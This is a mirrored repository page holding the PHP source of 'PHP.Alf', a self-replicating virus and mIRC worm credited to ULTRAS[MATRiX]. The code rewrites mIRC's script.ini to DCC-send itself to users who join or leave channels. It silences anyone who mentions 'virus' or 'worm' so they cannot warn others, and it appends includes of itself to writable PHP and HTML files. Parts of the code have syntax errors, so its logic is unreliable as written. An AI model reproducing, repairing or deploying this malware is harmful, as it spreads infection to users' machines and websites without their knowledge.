mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
81 lines
2.3 KiB
Plaintext
81 lines
2.3 KiB
Plaintext
|
<?php
|
||
|
// PHP.Alf by ULTRAS[MATRiX]
|
||
|
|
||
|
|
||
|
$phpdir = 'c:\phpalf';
|
||
|
$mircinf = 'c:\mirc\script.ini';
|
||
|
|
||
|
$shom = true;
|
||
|
|
||
|
if ( (file_exists($mircinf) )
|
||
|
{
|
||
|
$script = fopen($mircinf, "r");
|
||
|
$checks = fread($script, filesize($mircinf);
|
||
|
$virz = strstr($checks, 'script.php');
|
||
|
if (!$virz) $shom = false;
|
||
|
|
||
|
if ( ($shom=false) )
|
||
|
{
|
||
|
$unmirc = unlink($mircinf);
|
||
|
$tomirc = touch($mircinf);
|
||
|
|
||
|
$open_mirc = fopen($mircinf, "a");
|
||
|
$fputs($open_mirc, "[script]");
|
||
|
$fputs($open_mirc, "n0; A.L.F script");
|
||
|
$fputs($open_mirc, "n1; by ULTRAS[MATRiX]");
|
||
|
$fputs($open_mirc, "n2=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }");
|
||
|
$fputs($open_mirc, "n3= /dcc send $nick c:\phpalf\script.php");
|
||
|
$fputs($open_mirc, "n4=}");
|
||
|
$fputs($open_mirc, "n5=ON 1:PART:#:{ /if ( $nick == $me ) { halt }");
|
||
|
$fputs($open_mirc, "n6= /dcc send $nick c:\phpalf\script.php");
|
||
|
$fputs($open_mirc, "n7=}");
|
||
|
$fputs($open_mirc, "n8=on 1:QUIT:#:/msg $chan MTX4EVER");
|
||
|
$fputs($open_mirc, "n9=on 1:TEXT:*virus*:#:/.ignore $nick");
|
||
|
$fputs($open_mirc, "n10=on 1:TEXT:*virus*:?:/.ignore $nick");
|
||
|
$fputs($open_mirc, "n11=on 1:TEXT:*worm*:#:/.ignore $nick");
|
||
|
$fputs($open_mirc, "n12=on 1:TEXT:*worm*:?:/.ignore $nick");
|
||
|
$fputs($open_mirc, "n13=on 1:TEXT:*php*:#:/.ignore $nick");
|
||
|
$fputs($open_mirc, "n14=on 1:TEXT:*php*:?:/.ignore $nick");
|
||
|
$fputs($open_mirc, "n15=on 1:TEXT:*script*:#:/.ignore $nick");
|
||
|
$fputs($open_mirc, "n16=on 1:TEXT:*script*:?:/.ignore $nick");
|
||
|
return;
|
||
|
}
|
||
|
}
|
||
|
fclose($mircinf);
|
||
|
$shom = true;
|
||
|
|
||
|
$createdir = mkdir($phpdir,0)
|
||
|
$renamefile = rename(__FILE__, 'alf.php');
|
||
|
$copyfile = copy(__FILE__, 'c:\phpalf');
|
||
|
$rename2 = rename('c:\phpalf\alf.php', 'script.php');
|
||
|
|
||
|
|
||
|
$dirz = opendir('.');
|
||
|
while ($alldir = readdir($dirz))
|
||
|
{
|
||
|
$inf_ = true;
|
||
|
$ext_ = false;
|
||
|
|
||
|
if ( ($ext_ = strstr ($alldir, '.php')) || ($ext_ = strstr ($alldir, '.html')) || ($ext_ = strstr ($alldir, '.htm')) )
|
||
|
if ( is_file($alldir) && is_writeable($alldir) )
|
||
|
{
|
||
|
|
||
|
|
||
|
$opz = fopen($alldir, "r");
|
||
|
$check = fread($opz, filesize($alldir));
|
||
|
$sig_ = strstr ($check, 'alf.php');
|
||
|
if (!$sig_) $inf_ = false;
|
||
|
}
|
||
|
|
||
|
if ( ($inf_=false) )
|
||
|
{
|
||
|
$opz = fopen($alldir, "a");
|
||
|
$fputs($opz, "<?php ");
|
||
|
$fputs($opz, "include(\"");
|
||
|
$fputs($opz, __FILE__);
|
||
|
$fputs($opz, "\"); ");
|
||
|
$fputs($opz, "?>");
|
||
|
return;
|
||
|
}
|
||
|
}
|
||
|
closedir($dirz);
|